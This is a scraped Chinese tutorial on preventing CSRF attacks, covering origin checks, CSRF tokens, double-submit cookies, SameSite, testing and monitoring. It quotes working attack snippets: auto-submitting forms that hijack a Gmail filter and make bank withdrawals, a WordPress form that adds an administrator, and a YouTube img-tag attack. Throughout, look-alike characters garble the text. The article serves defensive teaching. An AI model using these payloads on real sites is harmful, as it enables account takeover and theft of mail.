如何防止CSRF攻击?

CSRF攻击

CSRF漏洞的发生

相比XSS,CSRF的名气彷佛并非那么大,不少人都认为CSRF“不那么有破坏性”。真的是这样吗?javascript

接下来有请小明出场~~php

小明的悲惨遭遇

这一天,小明同窗百无聊赖地刷着Gmail邮件。大部分都是没养分的通知、验证码、聊天记录之类。但有一封邮件引发了小明的注意:html

甩卖比特币,一个只要998!!前端

聪明的小明固然知道这种确定是骗子,但仍是抱着好奇的态度点了进去(请勿模仿)。果真,这只是一个什么都没有的空白页面,小明失望的关闭了页面。一切彷佛什么都没有发生……java

在这平静的外表之下,黑客的攻击已然得手。小明的Gmail中,被偷偷设置了一个过滤规则,这个规则使得全部的邮件都会被自动转发到hacker@hackermail.com。小明还在继续刷着邮件,却不知他的邮件正在一封封地,如脱缰的野马通常地,持续不断地向着黑客的邮箱转发而去。程序员

不久以后的一天,小明发现本身的域名已经被转让了。懵懂的小明觉得是域名到期本身忘了续费,直到有一天,对方开出了 $650 的赎回价码,小明才开始以为不太对劲。web

小明仔细查了下域名的转让,对方是拥有本身的验证码的,而域名的验证码只存在于本身的邮箱里面。小明回想起那天奇怪的连接,打开后从新查看了“空白页”的源码:ajax

<form method="POST" action="https://mail.google.com/mail/h/ewt1jmuj4ddv/?v=prf" enctype="multipart/form-data"> 
    <input type="hidden" name="cf2_emc" value="true"/> 
    <input type="hidden" name="cf2_email" value="hacker@hakermail.com"/> 
    .....
    <input type="hidden" name="irf" value="on"/> 
    <input type="hidden" name="nvp_bu_cftb" value="Create Filter"/> 
</form> 
<script> 
    document.forms[0].submit();
</script>

这个页面只要打开,就会向Gmail发送一个post请求。请求中,执行了“Create Filter”命令,将全部的邮件,转发到“hacker@hackermail.com”。算法

小明因为刚刚就登录了Gmail,因此这个请求发送时,携带着小明的登陆凭证(Cookie),Gmail的后台接收到请求,验证了确实有小明的登陆凭证,因而成功给小明配置了过滤器。后端

黑客能够查看小明的全部邮件,包括邮件里的域名验证码等隐私信息。拿到验证码以后,黑客就能够要求域名服务商把域名重置给本身。

小明很快打开Gmail,找到了那条过滤器,将其删除。然而,已经泄露的邮件,已经被转让的域名,再也没法挽回了……

以上就是小明的悲惨遭遇。而“点开一个黑客的连接,全部邮件都被窃取”这种事情并非杜撰的,此事件原型是2007年Gmail的CSRF漏洞:

https://www.davidairey.com/google-Gmail-security-hijack/

固然,目前此漏洞已被Gmail修复,请使用Gmail的同窗不要慌张。

什么是CSRF

CSRF(Cross-site request forgery)跨站请求伪造:攻击者诱导受害者进入第三方网站,在第三方网站中,向被攻击网站发送跨站请求。利用受害者在被攻击网站已经获取的注册凭证,绕事后台的用户验证,达到冒充用户对被攻击的网站执行某项操做的目的。

一个典型的CSRF攻击有着以下的流程:

  • 受害者登陆a.com,并保留了登陆凭证(Cookie)。
  • 攻击者引诱受害者访问了b.com。
  • b.com 向 a.com 发送了一个请求:a.com/act=xx。浏览器会默认携带a.com的Cookie。
  • a.com接收到请求后,对请求进行验证,并确认是受害者的凭证,误觉得是受害者本身发送的请求。
  • a.com以受害者的名义执行了act=xx。
  • 攻击完成,攻击者在受害者不知情的状况下,冒充受害者,让a.com执行了本身定义的操做。

几种常见的攻击类型

GET类型的CSRF

GET类型的CSRF利用很是简单,只须要一个HTTP请求,通常会这样利用:

 ![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/ff0cdbee.example/withdraw?amount=10000&for=hacker)

在受害者访问含有这个img的页面后,浏览器会自动向http://bank.example/withdraw?account=xiaoming&amount=10000&for=hacker发出一次HTTP请求。bank.example就会收到包含受害者登陆信息的一次跨域请求。

POST类型的CSRF

这种类型的CSRF利用起来一般使用的是一个自动提交的表单,如:

 <form action="http://bank.example/withdraw" method=POST>
    <input type="hidden" name="account" value="xiaoming" />
    <input type="hidden" name="amount" value="10000" />
    <input type="hidden" name="for" value="hacker" />
</form>
<script> document.forms[0].submit(); </script> 

访问该页面后,表单会自动提交,至关于模拟用户完成了一次POST操做。

POST类型的攻击一般比GET要求更加严格一点,但仍并不复杂。任何我的网站、博客,被黑客上传页面的网站都有多是发起攻击的来源,后端接口不能将安全寄托在仅容许POST上面。

连接类型的CSRF

连接类型的CSRF并不常见,比起其余两种用户打开页面就中招的状况,这种须要用户点击连接才会触发。这种类型一般是在论坛中发布的图片中嵌入恶意连接,或者以广告的形式诱导用户中招,攻击者一般会以比较夸张的词语诱骗用户点击,例如:

  <a href="http://test.com/csrf/withdraw.php?amount=1000&for=hacker" taget="_blank">
  重磅消息!!
  <a/>

因为以前用户登陆了信任的网站A,而且保存登陆状态,只要用户主动访问上面的这个PHP页面,则表示攻击成功。

CSRF的特色

  • 攻击通常发起在第三方网站,而不是被攻击的网站。被攻击的网站没法防止攻击发生。
  • 攻击利用受害者在被攻击网站的登陆凭证,冒充受害者提交操做;而不是直接窃取数据。
  • 整个过程攻击者并不能获取到受害者的登陆凭证,仅仅是“冒用”。
  • 跨站请求能够用各类方式:图片URL、超连接、CORS、Form提交等等。部分请求方式能够直接嵌入在第三方论坛、文章中,难以进行追踪。

CSRF一般是跨域的,由于外域一般更容易被攻击者掌控。可是若是本域下有容易被利用的功能,好比能够发图和连接的论坛和评论区,攻击能够直接在本域下进行,并且这种攻击更加危险。

防御策略

CSRF一般从第三方网站发起,被攻击的网站没法防止攻击发生,只能经过加强本身网站针对CSRF的防御能力来提高安全性。

上文中讲了CSRF的两个特色:

  • CSRF(一般)发生在第三方域名。
  • CSRF攻击者不能获取到Cookie等信息,只是使用。

针对这两点,咱们能够专门制定防御策略,以下:

  • 阻止不明外域的访问
    • 同源检测
    • Samesite Cookie
  • 提交时要求附加本域才能获取的信息
    • CSRF Token
    • 双重Cookie验证

如下咱们对各类防御方法作详细说明。

同源检测

既然CSRF大多来自第三方网站,那么咱们就直接禁止外域(或者不受信任的域名)对咱们发起请求。

那么问题来了,咱们如何判断请求是否来自外域呢?

在HTTP协议中,每个异步请求都会携带两个Header,用于标记来源域名:

  • Origin Header
  • Referer Header

这两个Header在浏览器发起请求时,大多数状况会自动带上,而且不能由前端自定义内容。 服务器能够经过解析这两个Header中的域名,肯定请求的来源域。

使用Origin Header肯定来源域名

在部分与CSRF有关的请求中,请求的Header中会携带Origin字段。字段内包含请求的域名(不包含path及query)。

若是Origin存在,那么直接使用Origin中的字段确认来源域名就能够。

可是Origin在如下两种状况下并不存在:

  • IE11同源策略: IE 11 不会在跨站CORS请求上添加Origin标头,Referer头将仍然是惟一的标识。最根本缘由是由于IE 11对同源的定义和其余浏览器有不一样,有两个主要的区别,能够参考MDN Same-origin_policy#IE_Exceptions

  • 302重定向: 在302重定向以后Origin不包含在重定向的请求中,由于Origin可能会被认为是其余来源的敏感信息。对于302重定向的状况来讲都是定向到新的服务器上的URL,所以浏览器不想将Origin泄漏到新的服务器上。

使用Referer Header肯定来源域名

根据HTTP协议,在HTTP头中有一个字段叫Referer,记录了该HTTP请求的来源地址。 对于Ajax请求,图片和script等资源请求,Referer为发起请求的页面地址。对于页面跳转,Referer为打开页面历史记录的前一个页面地址。所以咱们使用Referer中连接的Origin部分能够得知请求的来源域名。

这种方法并不是万无一失,Referer的值是由浏览器提供的,虽然HTTP协议上有明确的要求,可是每一个浏览器对于Referer的具体实现可能有差异,并不能保证浏览器自身没有安全漏洞。使用验证 Referer 值的方法,就是把安全性都依赖于第三方(即浏览器)来保障,从理论上来说,这样并非很安全。在部分状况下,攻击者能够隐藏,甚至修改本身请求的Referer。

2014年,W3C的Web应用安全工做组发布了Referrer Policy草案,对浏览器该如何发送Referer作了详细的规定。截止如今新版浏览器大部分已经支持了这份草案,咱们终于能够灵活地控制本身网站的Referer策略了。新版的Referrer Policy规定了五种Referer策略:No Referrer、No Referrer When Downgrade、Origin Only、Origin When Cross-origin、和 Unsafe URL。以前就存在的三种策略:never、default和always,在新标准里换了个名称。他们的对应关系以下:

策略名称 属性值(新) 属性值(旧)
No Referrer no-Referrer never
No Referrer When Downgrade no-Referrer-when-downgrade default
Origin Only (same or strict) origin origin
Origin When Cross Origin (strict) origin-when-crossorigin -
Unsafe URL unsafe-url always

根据上面的表格所以须要把Referrer Policy的策略设置成same-origin,对于同源的连接和引用,会发送Referer,referer值为Host不带Path;跨域访问则不携带Referer。例如:aaa.com引用bbb.com的资源,不会发送Referer。

设置Referrer Policy的方法有三种:

  1. 在CSP设置
  2. 页面头部增长meta标签
  3. a标签增长referrerpolicy属性

上面说的这些比较多,但咱们能够知道一个问题:攻击者能够在本身的请求中隐藏Referer。若是攻击者将本身的请求这样填写:

 ![](https://awps-assets.meituan.net/mit-x/blog-images-bundle-2018b/ff0cdbee.example/withdraw?amount=10000&for=hacker)

那么这个请求发起的攻击将不携带Referer。

另外在如下状况下Referer没有或者不可信:

  1. IE六、7下使用window.location.href=url进行界面的跳转,会丢失Referer。
  2. IE六、7下使用window.open,也会缺失Referer。
  3. HTTPS页面跳转到HTTP页面,全部浏览器Referer都丢失。
  4. 点击Flash上到达另一个网站的时候,Referer的状况就比较杂乱,不太可信。

没法确认来源域名状况

当Origin和Referer头文件不存在时该怎么办?若是Origin和Referer都不存在,建议直接进行阻止,特别是若是您没有使用随机CSRF Token(参考下方)做为第二次检查。

如何阻止外域请求

经过Header的验证,咱们能够知道发起请求的来源域名,这些来源域名多是网站本域,或者子域名,或者有受权的第三方域名,又或者来自不可信的未知域名。

咱们已经知道了请求域名是不是来自不可信的域名,咱们直接阻止掉这些的请求,就能防护CSRF攻击了吗?

且慢!当一个请求是页面请求(好比网站的主页),而来源是搜索引擎的连接(例如百度的搜索结果),也会被当成疑似CSRF攻击。因此在判断的时候须要过滤掉页面请求状况,一般Header符合如下状况:

Accept: text/html
Method: GET

但相应的,页面请求就暴露在了CSRF的攻击范围之中。若是你的网站中,在页面的GET请求中对当前用户作了什么操做的话,防范就失效了。

例如,下面的页面请求:

GET https://example.com/addComment?comment=XXX&dest=orderId

注:这种严格来讲并不必定存在CSRF攻击的风险,但仍然有不少网站常常把主文档GET请求挂上参数来实现产品功能,可是这样作对于自身来讲是存在安全风险的。

另外,前面说过,CSRF大多数状况下来自第三方域名,但并不能排除本域发起。若是攻击者有权限在本域发布评论(含连接、图片等,统称UGC),那么它能够直接在本域发起攻击,这种状况下同源策略没法达到防御的做用。

综上所述:同源验证是一个相对简单的防范方法,可以防范绝大多数的CSRF攻击。但这并非万无一失的,对于安全性要求较高,或者有较多用户输入内容的网站,咱们就要对关键的接口作额外的防御措施。

CSRF Token

前面讲到CSRF的另外一个特征是,攻击者没法直接窃取到用户的信息(Cookie,Header,网站内容等),仅仅是冒用Cookie中的信息。

而CSRF攻击之因此可以成功,是由于服务器误把攻击者发送的请求当成了用户本身的请求。那么咱们能够要求全部的用户请求都携带一个CSRF攻击者没法获取到的Token。服务器经过校验请求是否携带正确的Token,来把正常的请求和攻击的请求区分开,也能够防范CSRF的攻击。

原理

CSRF Token的防御策略分为三个步骤:

1. 将CSRF Token输出到页面中

首先,用户打开页面的时候,服务器须要给这个用户生成一个Token,该Token经过加密算法对数据进行加密,通常Token都包括随机字符串和时间戳的组合,显然在提交时Token不能再放在Cookie中了,不然又会被攻击者冒用。所以,为了安全起见Token最好仍是存在服务器的Session中,以后在每次页面加载时,使用JS遍历整个DOM树,对于DOM中全部的a和form标签后加入Token。这样能够解决大部分的请求,可是对于在页面加载以后动态生成的HTML代码,这种方法就没有做用,还须要程序员在编码时手动添加Token。

2. 页面提交的请求携带这个Token

对于GET请求,Token将附在请求地址以后,这样URL 就变成 http://url?csrftoken=tokenvalue。 而对于 POST 请求来讲,要在 form 的最后加上:

<input type=”hidden” name=”csrftoken” value=”tokenvalue”/>

这样,就把Token以参数的形式加入请求了。

3. 服务器验证Token是否正确

当用户从客户端获得了Token,再次提交给服务器的时候,服务器须要判断Token的有效性,验证过程是先解密Token,对比加密字符串以及时间戳,若是加密字符串一致且时间未过时,那么这个Token就是有效的。

这种方法要比以前检查Referer或者Origin要安全一些,Token能够在产生并放于Session之中,而后在每次请求时把Token从Session中拿出,与请求中的Token进行比对,但这种方法的比较麻烦的在于如何把Token以参数的形式加入请求。

下面将以Java为例,介绍一些CSRF Token的服务端校验逻辑,代码以下:

HttpServletRequest req = (HttpServletRequest)request; 
HttpSession s = req.getSession(); 
 
// 从 session 中获得 csrftoken 属性
String sToken = (String)s.getAttribute(“csrftoken”); 
if(sToken == null){ 
   // 产生新的 token 放入 session 中
   sToken = generateToken(); 
   s.setAttribute(“csrftoken”,sToken); 
   chain.doFilter(request, response); 
} else{ 
   // 从 HTTP 头中取得 csrftoken 
   String xhrToken = req.getHeader(“csrftoken”); 
   // 从请求参数中取得 csrftoken 
   String pToken = req.getParameter(“csrftoken”); 
   if(sToken != null && xhrToken != null && sToken.equals(xhrToken)){ 
       chain.doFilter(request, response); 
   }else if(sToken != null && pToken != null && sToken.equals(pToken)){ 
       chain.doFilter(request, response); 
   }else{ 
       request.getRequestDispatcher(“error.jsp”).forward(request,response); 
   } 
}

代码源自IBM developerworks CSRF

这个Token的值必须是随机生成的,这样它就不会被攻击者猜到,考虑利用Java应用程序的java.security.SecureRandom类来生成足够长的随机标记,替代生成算法包括使用256位BASE64编码哈希,选择这种生成算法的开发人员必须确保在散列数据中使用随机性和惟一性来生成随机标识。一般,开发人员只需为当前会话生成一次Token。在初始生成此Token以后,该值将存储在会话中,并用于每一个后续请求,直到会话过时。当最终用户发出请求时,服务器端必须验证请求中Token的存在性和有效性,与会话中找到的Token相比较。若是在请求中找不到Token,或者提供的值与会话中的值不匹配,则应停止请求,应重置Token并将事件记录为正在进行的潜在CSRF攻击。

分布式校验

在大型网站中,使用Session存储CSRF Token会带来很大的压力。访问单台服务器session是同一个。可是如今的大型网站中,咱们的服务器一般不止一台,多是几十台甚至几百台之多,甚至多个机房均可能在不一样的省份,用户发起的HTTP请求一般要通过像Ngnix之类的负载均衡器以后,再路由到具体的服务器上,因为Session默认存储在单机服务器内存中,所以在分布式环境下同一个用户发送的屡次HTTP请求可能会前后落到不一样的服务器上,致使后面发起的HTTP请求没法拿到以前的HTTP请求存储在服务器中的Session数据,从而使得Session机制在分布式环境下失效,所以在分布式集群中CSRF Token须要存储在Redis之类的公共存储空间。

因为使用Session存储,读取和验证CSRF Token会引发比较大的复杂度和性能问题,目前不少网站采用Encrypted Token Pattern方式。这种方法的Token是一个计算出来的结果,而非随机生成的字符串。这样在校验时无需再去读取存储的Token,只用再次计算一次便可。

这种Token的值一般是使用UserID、时间戳和随机数,经过加密的方法生成。这样既能够保证分布式服务的Token一致,又能保证Token不容易被破解。

在token解密成功以后,服务器能够访问解析值,Token中包含的UserID和时间戳将会被拿来被验证有效性,将UserID与当前登陆的UserID进行比较,并将时间戳与当前时间进行比较。

总结

Token是一个比较有效的CSRF防御方法,只要页面没有XSS漏洞泄露Token,那么接口的CSRF攻击就没法成功。

可是此方法的实现比较复杂,须要给每个页面都写入Token(前端没法使用纯静态页面),每个Form及Ajax请求都携带这个Token,后端对每个接口都进行校验,并保证页面Token及请求Token一致。这就使得这个防御策略不能在通用的拦截上统一拦截处理,而须要每个页面和接口都添加对应的输出和校验。这种方法工做量巨大,且有可能遗漏。

验证码和密码其实也能够起到CSRF Token的做用哦,并且更安全。

为何不少银行等网站会要求已经登陆的用户在转帐时再次输入密码,如今是否是有必定道理了?

双重Cookie验证

在会话中存储CSRF Token比较繁琐,并且不能在通用的拦截上统一处理全部的接口。

那么另外一种防护措施是使用双重提交Cookie。利用CSRF攻击不能获取到用户Cookie的特色,咱们能够要求Ajax和表单请求携带一个Cookie中的值。

双重Cookie采用如下流程:

  • 在用户访问网站页面时,向请求域名注入一个Cookie,内容为随机字符串(例如csrfcookie=v8g9e4ksfhw)。
  • 在前端向后端发起请求时,取出Cookie,并添加到URL的参数中(接上例POST https://www.a.com/comment?csrfcookie=v8g9e4ksfhw)。
  • 后端接口验证Cookie中的字段与URL参数中的字段是否一致,不一致则拒绝。

此方法相对于CSRF Token就简单了许多。能够直接经过先后端拦截的的方法自动化实现。后端校验也更加方便,只需进行请求中字段的对比,而不须要再进行查询和存储Token。

固然,此方法并无大规模应用,其在大型网站上的安全性仍是没有CSRF Token高,缘由咱们举例进行说明。

因为任何跨域都会致使前端没法获取Cookie中的字段(包括子域名之间),因而发生了以下状况:

  • 若是用户访问的网站为www.a.com,然后端的api域名为api.a.com。那么在www.a.com下,前端拿不到api.a.com的Cookie,也就没法完成双重Cookie认证。
  • 因而这个认证Cookie必须被种在a.com下,这样每一个子域均可以访问。
  • 任何一个子域均可以修改a.com下的Cookie。
  • 某个子域名存在漏洞被XSS攻击(例如upload.a.com)。虽然这个子域下并无什么值得窃取的信息。但攻击者修改了a.com下的Cookie。
  • 攻击者能够直接使用本身配置的Cookie,对XSS中招的用户再向www.a.com下,发起CSRF攻击。

总结:

用双重Cookie防护CSRF的优势:

  • 无需使用Session,适用面更广,易于实施。
  • Token储存于客户端中,不会给服务器带来压力。
  • 相对于Token,实施成本更低,能够在先后端统一拦截校验,而不须要一个个接口和页面添加。

缺点:

  • Cookie中增长了额外的字段。
  • 若是有其余漏洞(例如XSS),攻击者能够注入Cookie,那么该防护方式失效。
  • 难以作到子域名的隔离。
  • 为了确保Cookie传输安全,采用这种防护方式的最好确保用整站HTTPS的方式,若是还没切HTTPS的使用这种方式也会有风险。

Samesite Cookie属性

防止CSRF攻击的办法已经有上面的预防措施。为了从源头上解决这个问题,Google起草了一份草案来改进HTTP协议,那就是为Set-Cookie响应头新增Samesite属性,它用来标明这个 Cookie是个“同站 Cookie”,同站Cookie只能做为第一方Cookie,不能做为第三方Cookie,Samesite 有两个属性值,分别是 Strict 和 Lax,下面分别讲解:

Samesite=Strict

这种称为严格模式,代表这个 Cookie 在任何状况下都不可能做为第三方 Cookie,绝无例外。好比说 b.com 设置了以下 Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

咱们在 a.com 下发起对 b.com 的任意请求,foo 这个 Cookie 都不会被包含在 Cookie 请求头中,但 bar 会。举个实际的例子就是,假如淘宝网站用来识别用户登陆与否的 Cookie 被设置成了 Samesite=Strict,那么用户从百度搜索页面甚至天猫页面的连接点击进入淘宝后,淘宝都不会是登陆状态,由于淘宝的服务器不会接受到那个 Cookie,其它网站发起的对淘宝的任意请求都不会带上那个 Cookie。

Samesite=Lax

这种称为宽松模式,比 Strict 放宽了点限制:假如这个请求是这种请求(改变了当前页面或者打开了新页面)且同时是个GET请求,则这个Cookie能够做为第三方Cookie。好比说 b.com设置了以下Cookie:

Set-Cookie: foo=1; Samesite=Strict
Set-Cookie: bar=2; Samesite=Lax
Set-Cookie: baz=3

当用户从 a.com 点击连接进入 b.com 时,foo 这个 Cookie 不会被包含在 Cookie 请求头中,但 bar 和 baz 会,也就是说用户在不一样网站之间经过连接跳转是不受影响了。但假如这个请求是从 a.com 发起的对 b.com 的异步请求,或者页面跳转是经过表单的 post 提交触发的,则bar也不会发送。

生成Token放到Cookie中而且设置Cookie的Samesite,Java代码以下:

 private void addTokenCookieAndHeader(HttpServletRequest httpRequest, HttpServletResponse httpResponse) {
        //生成token
        String sToken = this.generateToken();
        //手动添加Cookie实现支持“Samesite=strict”
        //Cookie添加双重验证
        String CookieSpec = String.format("%s=%s; Path=%s; HttpOnly; Samesite=Strict", this.determineCookieName(httpRequest), sToken, httpRequest.getRequestURI());
        httpResponse.addHeader("Set-Cookie", CookieSpec);
        httpResponse.setHeader(CSRF_TOKEN_NAME, token);
    }

代码源自OWASP Cross-Site_Request_Forgery #Implementation example

咱们应该如何使用SamesiteCookie

若是SamesiteCookie被设置为Strict,浏览器在任何跨域请求中都不会携带Cookie,新标签从新打开也不携带,因此说CSRF攻击基本没有机会。

可是跳转子域名或者是新标签从新打开刚登录的网站,以前的Cookie都不会存在。尤为是有登陆的网站,那么咱们新打开一个标签进入,或者跳转到子域名的网站,都须要从新登陆。对于用户来说,可能体验不会很好。

若是SamesiteCookie被设置为Lax,那么其余网站经过页面跳转过来的时候可使用Cookie,能够保障外域链接打开页面时用户的登陆状态。但相应的,其安全性也比较低。

另一个问题是Samesite的兼容性不是很好,现阶段除了重新版Chrome和Firefox支持之外,Safari以及iOS Safari都还不支持,现阶段看来暂时还不能普及。

并且,SamesiteCookie目前有一个致命的缺陷:不支持子域。例如,种在topic.a.com下的Cookie,并不能使用a.com下种植的SamesiteCookie。这就致使了当咱们网站有多个子域名时,不能使用SamesiteCookie在主域名存储用户登陆信息。每一个子域名都须要用户从新登陆一次。

总之,SamesiteCookie是一个可能替代同源验证的方案,但目前还并不成熟,其应用场景有待观望。

防止网站被利用

前面所说的,都是被攻击的网站如何作好防御。而非防止攻击的发生,CSRF的攻击能够来自:

  • 攻击者本身的网站。
  • 有文件上传漏洞的网站。
  • 第三方论坛等用户内容。
  • 被攻击网站本身的评论功能等。

对于来自黑客本身的网站,咱们没法防御。但对其余状况,那么如何防止本身的网站被利用成为攻击的源头呢?

  • 严格管理全部的上传接口,防止任何预期以外的上传内容(例如HTML)。
  • 添加Header X-Content-Type-Options: nosniff 防止黑客上传HTML内容的资源(例如图片)被解析为网页。
  • 对于用户上传的图片,进行转存或者校验。不要直接使用用户填写的图片连接。
  • 当前用户打开其余用户填写的连接时,需告知风险(这也是不少论坛不容许直接在内容中发布外域连接的缘由之一,不只仅是为了用户留存,也有安全考虑)。

CSRF其余防范措施

对于一线的程序员同窗,咱们能够经过各类防御策略来防护CSRF,对于QA、SRE、安全负责人等同窗,咱们能够作哪些事情来提高安全性呢?

CSRF测试

CSRFTester是一款CSRF漏洞的测试工具,CSRFTester工具的测试原理大概是这样的,使用代理抓取咱们在浏览器中访问过的全部的链接以及全部的表单等信息,经过在CSRFTester中修改相应的表单等信息,从新提交,至关于一次伪造客户端请求,若是修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,固然此款工具也能够被用来进行CSRF攻击。 CSRFTester使用方法大体分下面几个步骤:

步骤1:设置浏览器代理

CSRFTester默认使用Localhost上的端口8008做为其代理,若是代理配置成功,CSRFTester将为您的浏览器生成的全部后续HTTP请求生成调试消息。

步骤2:使用合法帐户访问网站开始测试

咱们须要找到一个咱们想要为CSRF测试的特定业务Web页面。找到此页面后,选择CSRFTester中的“开始录制”按钮并执行业务功能;完成后,点击CSRFTester中的“中止录制”按钮;正常状况下,该软件会所有遍历一遍当前页面的全部请求。

步骤3:经过CSRF修改并伪造请求

以后,咱们会发现软件上有一系列跑出来的记录请求,这些都是咱们的浏览器在执行业务功能时生成的全部GET或者POST请求。经过选择列表中的某一行,咱们如今能够修改用于执行业务功能的参数,能够经过点击对应的请求修改query和form的参数。当修改完全部咱们但愿诱导用户form最终的提交值,能够选择开始生成HTML报告。

步骤4:拿到结果若有漏洞进行修复

首先必须选择“报告类型”。报告类型决定了咱们但愿受害者浏览器如何提交先前记录的请求。目前有5种可能的报告:表单、iFrame、IMG、XHR和连接。一旦选择了报告类型,咱们能够选择在浏览器中启动新生成的报告,最后根据报告的状况进行对应的排查和修复。

CSRF监控

对于一个比较复杂的网站系统,某些项目、页面、接口漏掉了CSRF防御措施是极可能的。

一旦发生了CSRF攻击,咱们如何及时的发现这些攻击呢?

CSRF攻击有着比较明显的特征:

  • 跨域请求。
  • GET类型请求Header的MIME类型大几率为图片,而实际返回Header的MIME类型为Text、JSON、HTML。

咱们能够在网站的代理层监控全部的接口请求,若是请求符合上面的特征,就能够认为请求有CSRF攻击嫌疑。咱们能够提醒对应的页面和项目负责人,检查或者 Review其CSRF防御策略。

我的用户CSRF安全的建议

常常上网的我的用户,能够采用如下方法来保护本身:

  • 使用网页版邮件的浏览邮件或者新闻也会带来额外的风险,由于查看邮件或者新闻消息有可能致使恶意代码的攻击。
  • 尽可能不要打开可疑的连接,必定要打开时,使用不经常使用的浏览器。

总结

简单总结一下上文的防御策略:

  • CSRF自动防护策略:同源检测(Origin 和 Referer 验证)。
  • CSRF主动防护措施:Token验证 或者 双重Cookie验证 以及配合Samesite Cookie。
  • 保证页面的幂等性,后端接口不要在GET页面中作用户操做。

为了更好的防护CSRF,最佳实践应该是结合上面总结的防护措施方式中的优缺点来综合考虑,结合当前Web应用程序自身的状况作合适的选择,才能更好的预防CSRF的发生。

历史案例

WordPress的CSRF漏洞

2012年3月份,WordPress发现了一个CSRF漏洞,影响了WordPress 3.3.1版本,WordPress是众所周知的博客平台,该漏洞能够容许攻击者修改某个Post的标题,添加管理权限用户以及操做用户帐户,包括但不限于删除评论、修改头像等等。具体的列表以下:

  • Add Admin/User
  • Delete Admin/User
  • Approve comment
  • Unapprove comment
  • Delete comment
  • Change background image
  • Insert custom header image
  • Change site title
  • Change administrator’s email
  • Change Wordpress Address
  • Change Site Address

那么这个漏洞实际上就是攻击者引导用户先进入目标的WordPress,而后点击其钓鱼站点上的某个按钮,该按钮其实是表单提交按钮,其会触发表单的提交工做,添加某个具备管理员权限的用户,实现的码以下:

<html> 
<body onload="javascript:document.forms[0].submit()"> 
<H2>CSRF Exploit to add Administrator</H2> 
<form method="POST" name="form0" action="http://<wordpress_ip>:80/wp-admin/user-new.php"> 
<input type="hidden" name="action" value="createuser"/> 
<input type="hidden" name="_wpnonce_create-user" value="<sniffed_value>"/> 
<input type="hidden" name="_wp_http_referer" value="%2Fwordpress%2Fwp-admin%2Fuser-new.php"/> 
<input type="hidden" name="user_login" value="admin2"/> 
<input type="hidden" name="email" value="admin2@admin.com"/> 
<input type="hidden" name="first_name" value="admin2@admin.com"/> 
<input type="hidden" name="last_name" value=""/> 
<input type="hidden" name="url" value=""/> 
<input type="hidden" name="pass1" value="password"/> 
<input type="hidden" name="pass2" value="password"/> 
<input type="hidden" name="role" value="administrator"/> 
<input type="hidden" name="createuser" value="Add+New+User+"/> 
</form> 
</body> 
</html> 

YouTube的CSRF漏洞

2008年,有安全研究人员发现,YouTube上几乎全部用户能够操做的动做都存在CSRF漏洞。若是攻击者已经将视频添加到用户的“Favorites”,那么他就能将他本身添加到用户的“Friend”或者“Family”列表,以用户的身份发送任意的消息,将视频标记为不宜的,自动经过用户的联系人来共享一个视频。例如,要把视频添加到用户的“Favorites”,攻击者只需在任何站点上嵌入以下所示的IMG标签:

<img src="http://youtube.com/watch_ajax?action_add_favorite_playlist=1&video_
id=[VIDEO ID]&playlist_id=&add_to_favorite=1&show=1&button=AddvideoasFavorite"/>

攻击者也许已经利用了该漏洞来提升视频的流行度。例如,将一个视频添加到足够多用户的“Favorites”,YouTube就会把该视频做为“Top Favorites”来显示。除提升一个视频的流行度以外,攻击者还能够致使用户在绝不知情的状况下将一个视频标记为“不宜的”,从而致使YouTube删除该视频。

这些攻击还可能已被用于侵犯用户隐私。YouTube容许用户只让朋友或亲属观看某些视频。这些攻击会致使攻击者将其添加为一个用户的“Friend”或“Family”列表,这样他们就可以访问全部本来只限于好友和亲属表中的用户观看的私人的视频。

攻击者还能够经过用户的全部联系人名单(“Friends”、“Family”等等)来共享一个视频,“共享”就意味着发送一个视频的连接给他们,固然还能够选择附加消息。这条消息中的连接已经并非真正意义上的视频连接,而是一个具备攻击性的网站连接,用户颇有可能会点击这个连接,这便使得该种攻击可以进行病毒式的传播。

 

原文连接:https://tech.meituan.com/2018/10/11/fe-security-csrf.html

相关文章
相关标签/搜索